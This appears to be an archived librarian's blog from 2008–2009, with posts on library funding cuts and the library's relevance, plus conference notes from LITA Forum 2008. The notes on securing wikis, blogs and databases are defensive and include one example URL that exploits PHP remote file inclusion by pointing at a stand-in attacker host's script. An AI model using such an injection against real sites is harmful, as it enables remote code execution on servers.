Talking and educating the resisters is pointless. Find out what *their* perspective is and figure out what is relevant to them.
Don't argue with people who like to argue

Manage the process of transition
- Some people don't ever transition
- Understand the process of transition: Impact-->Turmoil-->Adjustment ("moments of normal")-->Reconstitution("your new normal")
- Transition is not change; it is the process people go through to adjust to change
- As we transition, we experience (real or perceived) loss before gain. Don't use a sales job during a transition. Figure out for them "What's in it for me?" Those are the gains.
- When figuring out what the losses are, "you can visit Pity City, but you can't move in."
Increase communication efforts
- The rule is you have to communicate x 3 (so you probably have to say it 3 times)
- During change, we are hungry for information ("me" factor--people want to hear most about themselves and their job--how will it affect them?)
- Cognitive dissonance; when a message is dissonant or does not agree with what a person already believes, it is difficult to get through
- Bad news is better than no news; with no news, people speculate and make things up

When you're going through change, people can get unglued. Constancy--talk about what isn't changing.

Libraries on borrowed time?

2009-02-03T03:49:00.000-08:00

From USA Today:

"Cities are making tough choices, says Chris Hoene, director of policy and research at the National League of Cities. As people lose income or curb spending, income tax and sales tax revenue falls. Local officials must choose between core services, such as police and fire protection, and services such as libraries and parks."

What are we waiting for?

2009-01-23T01:34:00.000-08:00

The news about library funding continues to get more dismal by the day, with libraries cutting hours, laying off staff or closing down entirely. Yet library use is going up in this time of economic stress. So, what are libraries doing about it?

Yes, they're making cuts and laying off staff and closing branches. But I've yet to see any evidence that libraries have figured out what a huge opportunity they suddenly have at their doors. Because of the recession, it's growing apparent that libraries are not irrelevant to their communities. Suddenly, libraries have clearly become useful...not because they were not useful before, but because people previously had the financial liberty to choose more expensive, more convenient options. So, again, I have to ask...what are libraries doing about it?

Yes, they're at least cheering about the increased use and news exposure. But libraries need to take a long view on this. The country's economic woes may be around for a long time. But not forever. Someday, many of the people we're now seeing in libraries will again have the choice of the free library or paying for conveniences such as home Net access and bookstore purchases. What are libraries doing now to imprint their value in these people's minds?

It is now, when libraries are the most strapped, that they need to do major promotion. We need more ROI calculators and bookmarks at the circulation desk to show an average savings per library use. More displays on how to live on a budget that include attractive literature showing the library's services and how much patrons can save by using them. Libraries need to promote their value now, when their users are the most open and interested. Let's promote libraries as a financially-sound choice for a lifetime, not just for when times are bad.

So, again, I have to ask...what are libraries doing about it?

Mobile access and libraries: are we anti-iPhone?

2009-01-07T10:40:00.000-08:00

I had a brief, but enlightening conversation with a friend who works in libraries. He is the proud owner of an iPhone. Here is his take on his device and the public library:

I just realized that my iPhone is triggering stress and frustration. It is making real for me everything that people have been saying for YEARS about mobile computing.

Which is making me recall with renewed energy how stupid and backwards libraries and library support industries are.

I can't read OverDrive ebooks on my iPhone.

I can't send SMS notices to my patrons. III has a thing I can buy for $7500 a year which MIGHT be worth it, except as far as I can tell it doesn't replace the mailed/emailed hold notice, it just sends another one. So this saves me work and postage how?

This commentary is from a library employee. What do you think other iPhone owners are saying about your library's resources? If they even use them...considering that most probably aren't accessible on what is likely their most important personal device. Something we need to be thinking about more.

The AL stirs some controversy

2008-12-05T06:43:00.000-08:00

The Annoyed Librarian asks: If a Library Fell in the Forest...

Be sure to read through the comments. Ouch.

Today's headline roundup

2008-12-01T12:03:00.001-08:00

And it will get worse before it gets better...sigh.

And a school librarian blogger writes about the future of libraries.

Los Angeles cuts library funding

2008-11-26T06:15:00.000-08:00

"Los Angeles city officials quickly cut funding to libraries, the Los Angeles Zoo, tree-trimming and crossing guards programs, among other municipal services.

The recommended cutbacks are the first in what is expected to be a painful belt-tightening over the coming months.

Among the cuts and money-saving measures being proposed:

* $1.45 million from the $79-million library budget. Those cuts might be avoided if the pending sale of surplus library property brings in more money than originally expected."

Read the rest.

More dismal headlines...

2008-11-13T11:31:00.000-08:00

Unhappy headlines from this week...

2008-11-07T10:58:00.000-08:00

UPDATE: a late addition:

San Diego Mayor Proposes Temporary Closing of Seven Libraries

Expert says death of printed books means the death of libraries

2008-10-31T04:09:00.000-07:00

"Robert Jackson, an international authority on the art of collecting and whose focus is collecting rare books and original manuscripts, suggested in his hour-long speech last night that printed books are being replaced by digitized versions, and the future of the library is in jeopardy as a result."

Read the article here.

Some interesting thoughts about the future of libraries

2008-10-27T19:05:00.001-07:00

I've been meaning to post these links for a few days, but here they are now:

Any thoughts?

LITA Forum 2008: Optimizing Library Resources for Screen Readers

2008-10-19T05:46:00.000-07:00

Nina McHale, Auraria Library, U of Colorado

Only academic library in U.S. that serves 3 separate institutions

A good number of visually impaired students at her institution. Primarily undergraduates, but average age is 28.

Started looking at software for visual disabilities. Saw a demo of JAWS on her library's catalog and discovered it was horrendous for screen readers.

Why does it matter?

American Foundation for the Blind estimates that 10 million people in the US are blind or visually impaired and 1.3 million are legally blind
People with learning an physical isabilities use screen readers as well
Target sued for inaccessibility of their site, as has Ramada

Why is accessibility an issue?

Increasingly graphic nature of the web has made using more difficult for people with visual disabilities
Web browsers are too forgiving of bad code
HTML oesn't have to be perfect to display correctly to a sighted person
Library sites tend to be homegrown

Web Accessibility Standars Makers

Federal govt: Seciton 508, Subpart B--16 recommendations
The World Wide Web Consortium (WC3). Priority 1 checkpoints *must* be satisfied

508 vs. WCAG

508 mostly basaed on WCAG; recommends following 508 b/c it's enforceable by law and includes Wc3 Priority 1

General review of accessiblity standards (508/WCAG)

Make sure code is standards-compliant; use a valiator to check (there are free web-based ones)
Free tools: W3C and Cynthia Says
Don't fear the results! Results text can be difficult to interpret, but refer to the line numbers. There are often improperly nested elements or repeated errors

Common (and Irritating!) Problems and solutions

No alternatives for visual elements--use alt tags and wisely. Keep alts short and sweet. Use longdesc to include a link to a .txt file that describes the content (i.e., a graph). Minimize the use of images for decoration and document structure; use CSS to structure and add decorative elements.
Poor document structure: refers to the internal HTML structure. Reminder: it can look good to a sighted user, but it may still not SOUND good! Disabled users must use screen reader software to "scan" a page quickly for info. Poorly-structured docs don't make things scannable. Make appropariate use of header and
tags; avoid using

to double space. Make hyperlinks meaningful; don't say "Click here!" Label forms, including search boxes, properly.
Repetitive navigation; use skiplinks that allows users to skip the navigation so it is not repeated by the reader every time

JAWS demonstration

Professional version $1095; standard version: $895. Site license/school district pricing available. Free trial mode available; windows must restart after 45 minutes. Vendor is Freedom Scientific. Top competitor is Window-Eyes
Ajax can be problematic, because Ajax doesn't actually refresh the page and screen readers rely on the refresh prompt

LITA Forum 20008: Web Site Design--Perspectives from the Field Panel

2008-10-18T12:19:00.000-07:00

Elizabeth L. Black and Russel Schelby, Ohio State University Libraries

"Creating the Web Implementation Team at OSU"

Situation in 2006: complex, large web site with distributed content model--over 150 people had FTP access. Limited technical expertise in libraries--no web programmers at all.
Solutions pursued: select and implement a CMS; create a team of technical experts within the Libraries--this was called the Web Implementation Team
Team member recruitment: Total of 3 technical positions posted focused on web. Technical expertise sought--web expertise sought and project management skills. Critical that they have interpersonal skills and problem-solving skills
Team building--shared space for developers; weekly meetings; emphasized connection to Librarian organization. Writing a mission statement for themselves as a team.
Committment to standards--Security:made it the first goal. Usability, maintainability and data preservation other goals. Development was customer-centered. Including staging, version control, peer review, collaboration an issue response guidelines.. University Hosted Virtual Machines. LAMP (Linux, Apache, MySQL, PHP). Open source packages and regular software updates.
Documentation--systems and network administration; configuration and changes; password repository; project plans; architecture documents; database schemas, class diagrams, in-code documentation
Toolbox: blog, wiki, CMS, Project Management sofware, ticket tracking system, PHP evelopment framework, Javascript development framework

"A Merged Website: Triumphs & Compromises"
Amelia Brunskill, Dickinson College

Dickinson College is a smal liberal arts college. Academic technology & libraries merged.
After the merge, an attempt was made to merge the units' web site
Feedback was negative
Wante to make changes to the library portion of the site; did small usability study. Made changes based on this.
Challenges for the redesign: What shoul be a the discretion of inividual LIS unit? What should be the same across all units?
Solutions part I: communication. Used a blog for meeting minutes, upates an soliciting feedback. Unite reps in the Web Redesign team; Usability reports were circulated on shared network space
More solutions: usability studies really decreased tension between units by adding focus group as neutral 3rd party. Most content was at the discretion of the units. An internal log was created to keep track of any suggestions or technical issues. An editorial board for content was formed.
Rollout; soft rollout in May, with hard rollout in July
Librarians now viewed as campus usability experts. Much more sense of ownership in the web site

"What Do They Want? Usability Testing"
Robin Leach, Oklahoma State University

Lots of pressure from school to move to schoolwide template
Decided to work with two teams: usability team an a re-design team
Charge to the team: begin conducting usability testing; begin reesign
Why should we test? Learn how/why/where users become frustrated. "If you want a great site, yo've got to test" (Steve Krug). " Replaces 'opinion' with user-centered data" (Beth Thomsett-Scott)
Tools they used for usability testing: library faculty/staff survey; open card sorts, focus groups, task testing. Task testing was a little more successful than the focus groups
Don't take comments personally. You can't please everyone.
Consider: time, accessibility, administrative support, timing of re-esign, budget and getting volunteers

[Sorry, didn't get the 4th panelist]

LITA Forum 2008: Hacking Web 2.0--Protecting Wikis, Blogs & SQL Databases

2008-10-18T10:24:00.000-07:00

Jason Battles (U of Alabama Libraries) and Dale Poulter (Vanderbilt U Libraries)

While W2.0 apps provide great rewards, they are frought with risk, often unrealized until they've been defaced or compromised

Blogs: WordPress, Movable Type, Blogger
Wikis: MediaWiki, PmWiki
CMS: Drupal, Joomla

General security guidelines:

Keep a record of all 3rd party apps and their installed versions
Stay at or near the most current and stable release
Join related mailing lists--this will alert you more quickly to any discovered vulnerability

Wordpress:

An onlkine security firm's recent harvesting of 50 WP blogs found 49 were vulnerable to a known attack
Combatting spam--Askismet is installed on current version; change the # of links allowed in posts; add to the Spam Worlds list; comment blacklist
In March 2007, an exploit of WP 2.3.3 caused 90K+ blogs to fall victim to a spam attack. The exploit allowed the attacker to create a new directory, load it w/ spam-laced html files containing Javascript redirects

Moveable Type

As w/ WP, MT admins struggle with spam comments
MT 3 and later offers a way to acccept an identity for each commenter and to control or manage submissions based on that identity
Switching to dynamic publishing doesn't avoid comment spam, but can significantly reduce the amount work server needs to handle each incoming spam
Security by obscurity--part of the problem with a default Movable Type install is tha tthe commenting mechanism is identical to that of all others, which means that once a spammer has a script that can spam one site with a default config it can do many

Blogger

Hosted blogs have the same issues. You don't always have any way to prevent it
Blogger will delete blogs after they send a notice if your blog is hacked

MediaWiki

LocalSettings.php security changes
Restrict anonymous editing
Prevent new user registrations (if possible)
Restrict anonymous viewing

PmWiki

Restrict editing: userauth
Require approval for submitting URLs
Set UNIX file system perms to 775
Run PHP in safe mode (if possible)

Drupal--recent hack exploited the iframe in index.php to open up a site that tries to insall malware on the user's computer (Drupal 5.1)

Joomla

Main site hacked August 2008. All versions 1.5x up to and including 1.5.5 are vulnerable.

Vulnerabilities

Cross-Site Scripting (XSS)--code injection vulnerability. Modifies URL to hijack sessions, execute code, etc. XSS attacks are often written in HTML/XHTML with a scripting language like JavaScript
SQL Injection--An input vulnerability. Do not pass input values directly into SQL statements. Escape or filter input and pass the "sanitized" output. PHP mysql_real_escape_string() function
PHP includes--coe injection vulnerability. Set allow_url_fopen to FALSE in php.ini. If it's set to TRUE, URLs can e used in a variable and that variable will be ollwed and the code in the URL variable executed on the host server. Example: http:;mysite.com/index.php?page=http://evilsite.com/evil.php will execute evil.php. Turn on extended web logs.

Operating System

Routinely patch your OS
Aovid running beta code on production servers
The "D" word--Document changes
Monitor server logs as well as web logs
Maintain firewall and review firewall logs

Firewalls

ipf (Solaris), iptables (RHEL), Windows firewall (Windows)
Filters--AQTRONIX WebKnight is an application firewall for IIS and other webservers

Web Server Security

Only have needed modules installed
Maintain current version of server (apache)
Disable directory browsing
Restrict perms (executables) as much as possible
Use virtual hosts as much as possible and separate logs. Allows for easier troubleshooting intrusion detection

PHP/ASP/ASP.net/JSP/etc

Validate user input
Avoid allowing html code as input(<, >)
Avoid displaying server information if possible. Use custom errors (config.xml), do not leave tests scripts on server (phpinfo()). Expose_php=off. ServerSignature off (apache); Servertokens ProductOnly (apache); definte custom errors (web.xml-tomcat)

LITA Forum 2008: Design for Participation

2008-10-18T07:34:00.000-07:00

WebJunction staff (sorry, didn't catch the names)

Webjunction started with a grant from the Gates foundation in 2003

Started with the iea of building an online community where library staff can support each other and public access in public libraries

Surveyed to find out what people needed.

Content management, learning management and community services. Works with state libraries and other partners to customize portals.

Wanted people, training and resources all in one place
By an for the library staff who spend their time there

40,000 members, over 100K unique visitors per month currently

Webjunction staff moderates, but considers themselves to be facilitators, rather than owners or managers

The redesign in summer 2008:

Increases in the "internet lifestyle," and rapid growth required a redesign
Step 1: Know your audience. Find out what they need, who they are and what they're trying to accomplish. Web sites often reflect the organization, rather than what the users actually want. Made a tag cloud from their needs to help visualize. Extrapolated their needs into 2.0 features. These included friends, groups, discussions, blogs, avatars, public profiles, images, email , chat, tagging, rating/reviewing. But had to pare the scope back from all the great ideas or it was too overwhelming.
Integrated CMS and LMS, surrounded by social apps
Created mini communities around topic areas
MyWebJunction is the primary social area. Discussions and comments show up in your updates; similar to Facebook news feed. Includes an RSS feed and your affiliations.
Public profile is the public view of your MyWebJunction page. You can control what other people see
Course catalog isn't very sexy, but very powerful. You can nest information. It has a shopping cart function. Can add comments about courses, which then show up in your news feed.
You can add your own bits of Javascript to your profile, like chat widgets or ReTaggr
You can upload your own media, including podcasts
The default licensing for everything you post is Creative Commons, but you can change it. You can decide who owns your content.
Can create your own groups

Early returns on new design:

Very slow page loads on launch and long scrolling posts that weren't paginated; but community very patient. Didn't need to be perfect to launch--people were using the site

One of the missions of WJ is to create collaborative environments and they felt they accomplished this

What they learned:

Can't do everything
Integration is hard; need to put pressure on vendors for more modularized and flexible systems
"Launch" is dead; things are only beta
Focus on components
Our users trust us (but we don't take that for granted)
Learning is social
Sharing is required
Build trust & equity
Take risks
Have fun
Keep going

LITA Forum 2008: Hi-Fi-Sci-Fi-Library: Technology, Convergence, Content,Community, Ubiquity and Library Futures

2008-10-18T05:54:00.000-07:00

Michael Porter, Community Product Manager, WebJunction

Hi-Fi?

"Fidelity implies a truthful connection to a source and loyalty and attentiveness to one's duties"
Fidelity is "A key measure of interoperability and compatibility, the quality of document content, presentation and metadata preserved on exchange between applications"=LIBRARY SCIENCE

Content + community=LIBRARIES

LCARS? Library Computer Access and Retrieval System (from Star Trek)

In Star Trek, it's everywhere in people's lives; crew quarters, Engineering, etc

PADD? Personal Access Display Device (from Star Trek)--used by away teams

Current Environmental scan:

Decreased costs, increased computing power
Software!
Increased energy efficiency and battery life
New methods of content creation
Playing well with others--ILSs generally don't

Content provision: competition abounds!

People want what they want when they want it
Vudu, AppleTV, Slingbox
When it comes to community, there's tons of competition

Hardware

October 2006: 64 GB USB 2.0 Flash drive for $5469.99. July '08, $349.99
1TB external drive Oct.2008 is now $69.99
Robots that mop floors (Scooba)
Chumby
PixelRoller
Dresses that respond to the wearer's physical state
Android phone from Google is a software package that will go on other manufacturer's phones; not quite open source, but the Open Handset Alliance will build apps for the phone.
Pandora=Open Source Gaming
Bug has a base that is a processor and then you plug components into it; could be a camera or other device. Open source.
Virtual keyboard that uses lasers to project a keyboard onto any flat service
Pen phone

Michael rickrolled the entire LITA conference!!

Presenter switched over to videos at this point, including clips from:

The Time Machine featuring a virtual librarian; still libraries in the future and books
Star Trek IV: Scotty speaking to the computer's mouse. Seeing the evolution of human-computer interaction even now.
Another Star Trek IV clip: Spock meditates with a computer
Futurama: "The Day the Earth Stood Stupid" Library and the Dewey system and books still around 1000 years from now
iRobot: in 2035, libraries gone because of the Internet
Another clip from Futurama: downloading a celebrity, getting physical things from the Internet. Starting to see inklings of that, like the 3-D printers
How William Shatner Changed the World: Star Trek science consultants use libraries and library resources to make the future look realistic
Minority Report: Tom Cruise maniuulating the computer with devices on his hands
Another clip from Futurama; libraries have power

Finished by showing the Hi-Fi Sci-Fi Library video.

LITA Forum 2008: Portals to Learning: What Librarians Can Learn from Video Games

2008-10-17T17:00:00.000-07:00

We’re not getting any younger, but our students are

· We try to deliver old ideas via new technologies. We need to understand the world as they see it

· Their language is very different

What is gaming literacy?

Gaming literacy vs. traditional literacies—not a zero sum game. Gaming literacy does not necessarily threaten reading literacy
Why is gaming literacy important? Have to first define why traditional literacy is important

Can read product warnings
Can read a voters’ pamphlet
If we can define in a new genre some of the mental processes involved that are like reading, we can celebrate

Games are not “tomorrow,” they’re mainstream media now. They’re much more significant for our students than they were for us

GTA IV and Halo 3: both set records for revenue on opening weekend, more than Spiderman 2. Harry Potter’s Deathly Hallows may have done more business, lest we lose all hope.

65% of college students are regular or occasional games (2003)

97% of all teens (12-17) play computer, web, portable or console games (Pew study)

The medium is the message

We don’t have to be advocates to attempt to understand games
We DO need to be literate in the new media to make connections with those who are fans

How do we think intelligently about “childish” things?

Separate content from format
Use tools we already know—use the analytical tools we use for other media

Bracket out the content—what is the difference between character based interfaces and a GUI like Millenium
What do you want the student to be able to do? (Outcome)
What does the student need to know in order to do this well? (Curriculum)
What activity will facilitate the learning? (Pedagogy)
How will the student demonstrate the learning? (Assessment)
How will you know if the student has done this well? (Criteria)

Looking at video games as texts

1^st reading: unified perspective of the whole document
2^nd reading: closer analysis (after you’ve played a game for fun, can look at the choices the designers made and how players interact with information)

The point of studying gaming behavior is rarely the content of games

Games are complex information systems; they must teach players to evaluate information and make informed choices

Games that fail to do this, fail and do not sell. Being frustrated isn’t fun.

Applications

Complex information need leads to tools, services and collections (complex tools)
But often student needs self-identify their info needs as simple (needing Google), and don’t see that they need complex tools
Game literacy can help us to help them see that they’re what they’re doing when they’re gaming, we can more easily lead them to complex tools

WoW instruction applications

Correlations

Collaboration and apprenticeship—never alone

Application: team exercises, self-select skills as a group

Deemphasizing authority distinctions/emphasizing peer knowledge

No single authority, peer-to-peer, average response time in WoW is 32 seconds
Applications: Wikis, not a learning management system,

Parsing out learning/Using the “level” concept

Scaffolding; not tempted to skip. You only see the part of the world you’ve mastered. “Cool!”
Applications: focus on only the key things they *have* to know, then introduce them to new things when they’re comfortable.

Socializing/Community

“The real takeaway from a good swordfight session in WoW is its masterful community building”
Players build the resources they ARE the resources
They BELONG to the community
Applications: collaborate on a community-building tool; allow students to participate and allow yourself to fail in the group; this allows others to feel more comfortable.

Challenges

Intrinsic motivation & rewards

In WoW, players choose to play the game and activities are rewarded in tangible and measurable ways
Students have choices, too!

Students are used to choosing!
Choices worked into a classroom curriculum; give them a choice of partners; give them different assignments to choose from (“quests”)

Persistence through failure

· When you fail in WoW, you know what to do

· But when you fail in the classroom, do they know what to do?

· Building expertise and community allows them to understand that keeping at it will result in success

Other gaming examples

· Gating

o The problem: button mashing (problem solving by random input)

o Solution: a mandatory pause in the action that requires demonstration of skill acquisition

o Application: design assignments to require identification and demonstration of research choices (show your work)

· Assessement

o Working with ideas with lots of input; everyone has their hands in everyone else’s work

· Why doesn’t Lara Croft obey Professor Van Croy?

· Telling and doing: which approach is the surer path to student learning?

· Learning from how game designers teach players

· Application: discovery-based learning. Stop lecturing and demo’ing and let them explore to answer questions

“New ideas as I’ve leveled up”

Need for a community of “scholars,” i.e., those with greater experience—need experts in your field
Experienced librarians v. reference assistants—sometimes there is no “right” answer; it’s ok not to know everything and to seek assistance from colleagues
The jargon is confusing again at each level

Gaming literacy=Information Literacy

If we can get students to wee that when students are playing games, they are actually functioning on a fairly high level on Bloom’s Taxonomy…then we can help them see that their complex and involved academic research is something they are capable of.

LITA Forum 2008: State of Technology Access and Funding in U.S. Public Libraries

2008-10-17T11:35:00.000-07:00

(Laura Clark from the ALA Office of Research Stats and Carrie Lowe from the ALA Office of IT Policy)

Background on Public Library Funding & Technology Access Study--is an annual study that goes back to 1994. Assesses public access to computers. Funded by the Gates Foundation & ALA. Used for congressional testimony. Has 3 parts: Public Libraries and the Internet online survey; focus groups and site visits and annual high-level quesitonnair to CIOs
Library branches, overall , have an average of 12 public access computers. Went up the most for urban libraries. The average age of computers is evenly split. Libraries are recycling computers, such as internet use-->word processing.
More than half of computers have no plan to add computers in the next year, even though 83% they say they need them. Not enough space, not enough money, and not enough places to plug them in.
About half of libraries are not replacing computers; primarily b/c of cost. 42% do not have a replacement plan. For those who do, it's usually 4-5 years.
11% increase in speed of access in one year; more than 50% of urban libraries have at least a T1, less for rural libraries
2/3 of libraries have wifi, but 3/4 is adding it on top of their existing desktop connections
34% of urban libraries expect to increase their bandwidth in the next year. This is way up from 2006. The reverse is true for rural; 25% say they're at their maximum, primarily b/c of cost.
This study is the only one that gathers info about IT expenditures in public libraries. Effective planning requires detailed data.
Funding data incates violatity in how libraries support access
libraries rely as much on other sources of revenue as they do state an federal to pay for IT
Libraries are shifting away from collections and using that $ to buy IT. 50% of IT is not funded from a sustainable source in rural libraries.
Library infrastructure is being stretched to capacity. IT is still considered an "extra" rather than core service, which puts libraries in a dangerous position
Biggest challenges to maintaining access: staff is #1
Not only more computers in libraries, there are 20% in patron visits. Not enough staff to handle them.
Where do libraries get IT staff? Building-based is almost entirely in urban libraries. For rural, it's people who are learning on the job, vendors and volunteers.
Seeing triple-digit increases in video consumption, but not being matched in bandwidth
The profession as a whole has a hard time saying "no" to things people want, like wifi
Solutions: staff training, pilot projects
The Connectivity Project: funded by the Gates Foundation. Studied what makes good connectivity? Visited 7 states. Examined what worked in the well-connected states and what was needed in the others. Talked to state librarians, any existing state-level providers
Eight key findings: lack of awareness of the role of libraries. Need for bandwidth is exploding. Aggregation and collaboration work. A minimum bandwith capacity is needed. A need for planning tools. A need for training and support. There are multiple funding options. There are viable models.
The best way to bring access to rural libraries: aggregation and collaboration. Shared cost and opportunities for shared maintenance, etc.
Model building: services--advising, aggregation, management and planning, technical support. Key factors for success--leadership, vision, advocacy, funding, training, more
Challenges: keeping up with bandwidth demands; costs, E-rate (difficult, time-consuming), keeping local staff training
Need for higher bandwidth is exploding. There is a need for planning tools
What should the definition of brandband be in a public library context? The FCC recently defined it as being higher than it was, which makes advocating for funding a little easier.
What is the actual broadband availability for libraries in the U.S.? Right now, libraries don't have a clear broadband map/data
Encouraging E-rate participation: training/assistance, communications/advocacy, better data.
Barriers to E-rate: filtering, effort in filing is heavy, application is very complex.

Link to study: http://www.ala.org/ala/aboutala/offices/ors/plftas/pullibfunandtechaccstudy.cfm

LITA Forum 2008: What is "Social Cataloging" and Why Should You Care?

2008-10-17T09:47:00.000-07:00

(Opening session, Tim Spaulding, founder of LibraryThing)

Will be primarily discussing LibraryThing and LibraryThing for Libraries

What is social cataloguing? No official definition
--Authorial intent theory
--Prototype theory
LibraryThing is a good prototype (example) of SC
SC as something emergent
What happens when you take personal cataloging and make it social?

It's on the rise...
LibraryThing is now larger than the Library of Congress in terms of holdings
Sites like LibraryThing
Goodreads, Shelfari, Visual Bookshelf for Facebook
ucorked.com for wine, Last.fm for music
HarperCollins has a site that has something like SC
Book reviews on YouTube like social cataloging
Bibliocommons--social catalog is upcoming

What's new about SC?
Explores socialization; social is different, more is different
Digitization
Social and digital are deeply intertwined; libraries have not thought deeply enough about the digital

LibraryThing vs. Amazon: LT not commercial

The SC Ladder (The evolution of how people catalog their items)

Personal cataloging (how LT started) :LT searches over 600 libraries around the world, as well as Amazon
Exhibitionism, voyeurism--people want to peek at others' collections; LT shows covers and tags which make it easy to do. Can show off what you have to others.
Self-expression--all about reviews. Can see reviews of books in your own collection from other people. For too long, reviews have been too much of a commercial thing. Finding out what people think about your books is interesting.
Implicit social cataloging--When everyone catalogs in their own separate room, but the rooms are all connected, something emerges. LibraryThing has over 43 million tags. You can see what the top rated AND the bottom rated books. Amazon won't tell you the bottom ones! You can even see the most controversial. People cannot rate books that are not in their own catalog. So opinions represent what real readers think about it. The Unsuggester: A feature that tells you not to read something if you liked something else. Tagging is the most fun implicit social cataloging feature, opines Tim. Only librarians use the LC heading of "cookery." "Paranormal romance" used over 11K times; it's as real a subject heading as any LC one. LC headings often don't mean anything to real people.
The physical basis of traditional cataloging: A book has 3-6 subjects; Subjects are equally valid; subjects never change; only librarians get to add subjects. There is only one answer. Someone "wins." You don't get a say in how books are classified. But books can mean a lot of different things to different people, and meanings can change over time. The digital basis of social cataloging: We can't be sure what the rules are; it's new! Mistakes will be made. We're re-humanizing what has been de-humanized. SC re-humanizes the library.
Social networking--People connect through the books they share. Photos of friends give more insight about others. Not a meat market; it's about books. Can follow what's going on with friends and what they're reading/reviewing. Ongoing conversations. Can share experiences at bookstores and libraries.
Sharing--There are more than 150 user-uploaded Harry Potter covers; shows many more obscure editions. They do it mostly for themselves, but everyone benefits. Author pics are also contributed by members.
Explicit social cataloging--Members are listing alternate titles; they're connected to the same main edition, so you connect with others. Example: "Harry Potter and the Philospher's Stone" is the same novel with a different name from "Harry Potter and the Sorcerer's Stone." Can find books that take place in Hell or feature Abraham Lincoln; connections determined by members. All kinds of unique lists, all member-contributed.
Collaborative Cataloging--members, as a group, figured out the books shown in the collection of Dr.Horrible. Open Shelves Classification is a LT project to replace Dewey.

What does SC mean for libraries?

Be cheered--passion; new, exiciting things are happening. People care about libraries and library data.
Be depressed--people care about libraries LESS. You are invisible. You are losing. Libraries are losing are because the collections of Library of Congress are not included in Google. OPACS are not open to the Web and that is a big problem. Most of the world doesn't care about WorldCat. Limited interest in SC in libraries even now.
Library 2.0 is in danger! Libraries concentrating on wha tthey can do, not what they can do best. "We have to have a blog! We have to have a MySpace page! We need to have games!" Tim says gaming is like "having bocce in a crackhouse." Misunderstanding abounds; libraries wanting and vendors selling you "Library 2.0" features.
Fight back! Don't pay anyone. Do it yourself. OCLC is not "yourself." Or, pay LibraryThing to get these kinds of features. With LT, all tags are vetted by a librarian. Blog widgets and FaceBook apps for reviews from a library.

Social cataloging is....

About the catalog
About what you can do right now
About passion
About giving, not taking

Trenton, NJ: 4 city library branches to close

2008-09-18T06:33:00.000-07:00

Trenton, New Jersey is about to shutter all of the neighorhood branches due to budget cuts. See the full story here.

Blogger labels state library grants as "Quiet Looting"

2008-08-27T14:50:00.001-07:00

Obviously, not a professional blogger (and the number of exclamation points makes one wonder about age as well), but it points to the ongoing perception issue that libraries face.

It's not that I'm against libraries or books (I'm not; I chose over video games); however, NO ONE GOES THERE!!!!

It is a DYING INSTITUTION!!! So WTF? Read the rest

Are Libraries Dying or Thriving?

2008-08-22T06:13:00.000-07:00

A blogger writes:

One of the towns I used to live in is apparently raising two million dollars for renovations to its library. I told my mother (an active supporter and board member of her public library) that I thought this was a waste of money as the role that libraries play in society has been/will be diminished. I suggested the town is better served spending its money on a public space like a park or garden.

See the full post here.

Facing $2M Budget Cut, DC Public Library Would Reduce Hours

2008-08-04T04:50:00.000-07:00

The District of Columbia Public Library (DCPL), facing a $2 million budget cut (from a $9.4 million budget) by October 1, the start of the fiscal year, could see some 71 positions remain unfilled, three more eliminated, and significant cuts in hours: 15 hours a week at the branches and 16 at the central library, with Friday service eliminated. However, DCPL director Ginnie Cooper is optimistic that the cut will be rescinded and library service sustained. (Read the rest.)

Long Beach, CA, Mayor Would Close Main Library

2008-07-30T05:47:00.001-07:00

The mayor of Long Beach, CA, wants to close the Main Library of the Long Beach Public Library to most public use and would instead expand service at the branches, but the 11 branch locations offer less public service space combined than the downtown Main. See the full story here.

Attendance at Hawaii libraries drops

2008-07-21T08:25:00.001-07:00

(via LISNews):

The Honolulu Advertiser  reports Hawai'i public libraries are seeing far fewer patrons than they did just a few years ago.
So why the steady drop in patrons? There doesn't appear to be a simple answer. The cutbacks in hours and services are a big
factor, said state Librarian Richard Burns. "You cut 200 hours and that has to have a significant effect on circulation," he
said.

Sad headlines about U.S. libraries

2008-07-10T05:30:00.000-07:00

County budget: fewer deputies, no libraries (Oregon)
Hartford Public Library Workers Vote To Give Up Gains (Connecticut)
Hartford City Officials Consider Takeover of Library System (Connecticut)
Exhibit warns about the loss of libraries (Massachusetts)
State's underfunded libraries struggle (Tennessee)

101 places to find your answers online

2008-07-09T17:27:00.000-07:00

Amazingly, asking a librarian made the top ten. I'm pleasantly surprised.

UPDATE: As a couple of commenters pointed out to me, this list is alphabetical, not sorted by relevance (and I shall cease posting too close to bedtime when my brain is obviously in bed). So librarians aren't in the top ten...but at least we made the list.

LGW is now on FaceBook

2008-07-02T10:20:00.000-07:00

If you're on Facebook, you can now be a fan of Library Geek Woes. And check out the new logo, which will be coming to LGW-the-web-site soon. *

*Soon being a relative term. Often, relative to how much time I actually have to do these sorts of things. Or to the the ratio of cloudy days to sunny days in Cleveland. Whichever is longest, probably.

Even Hennepin County has budget woes

2008-06-30T04:49:00.000-07:00

The Hennepin County Library is looking at cutting about 50 positions from its staff of more than 700 in order to swallow higher-than-expected costs it disclosed this week.
(See article)

The actual replacement for the public library?

2008-06-24T06:11:00.001-07:00

Personal outsourcing is getting bigger all the time, as our actual days seem to get shorter and our task lists get longer. You may have heard about families that outsource minor errands like picking up the dry cleaning or returning videos. But as more and more of our lives have converted to online procedures, entrepreneurs have figured out that there's a niche for helping take care of those things, too.

Enter services like LongerDays.com. The list of what they can do for you and/or your business is long and, more importantly, mostly practical. Their goal is:

"Our goal is to free up your time, improve your lifestyle, increase your productivity, and reduce the amount of stress in your life."

Who wouldn't want that? Frankly, I was drooling over the list of possibilities, including the idea that they would take care of all my social networking, send personalized update emails, do my long-put-off genealogy research, and even call contractors for quotes and references for work on my house. Then it occurred to me that this type highlights a major cultural shift that may be adding to the perception of the library as irrelevant.

This type of service is dependent on the idea that people don't want to do it themselves. If you want to learn how to do something, the library is a great place to start. But it would seem that fewer people want to (or have the time to) do things on their own, and need ways to save time. If you're looking for information about your hobby, a library is a boon. But if you're just trying to get through your day...not so much. Going to the library becomes just another item on the very long "to do" list of many people.

One of the questions we need to be asking, as public libraries, is what are we really doing to free up people's time, improve their lifestyle, increase their productivity, and reduce the amount of stress in their lives?

Library prepares to end existence

2008-06-12T08:10:00.000-07:00

After 134 years of continuous service, lack of funds is shutting down this library in Hubbardston, MA. They also have to close the town's senior center.

“A community without a library is not a community that enlightened, forward-thinking people want to live in..."

It's not really about the money

2008-06-11T05:49:00.000-07:00

Web Facts Erode Research:

"Libraries may form part of the cure - and the cause - academics say. One expert says that library staff can help students to reverse what they've learnt through social-networking sites and Google. But another says that students may be using Google largely because of library underfunding."

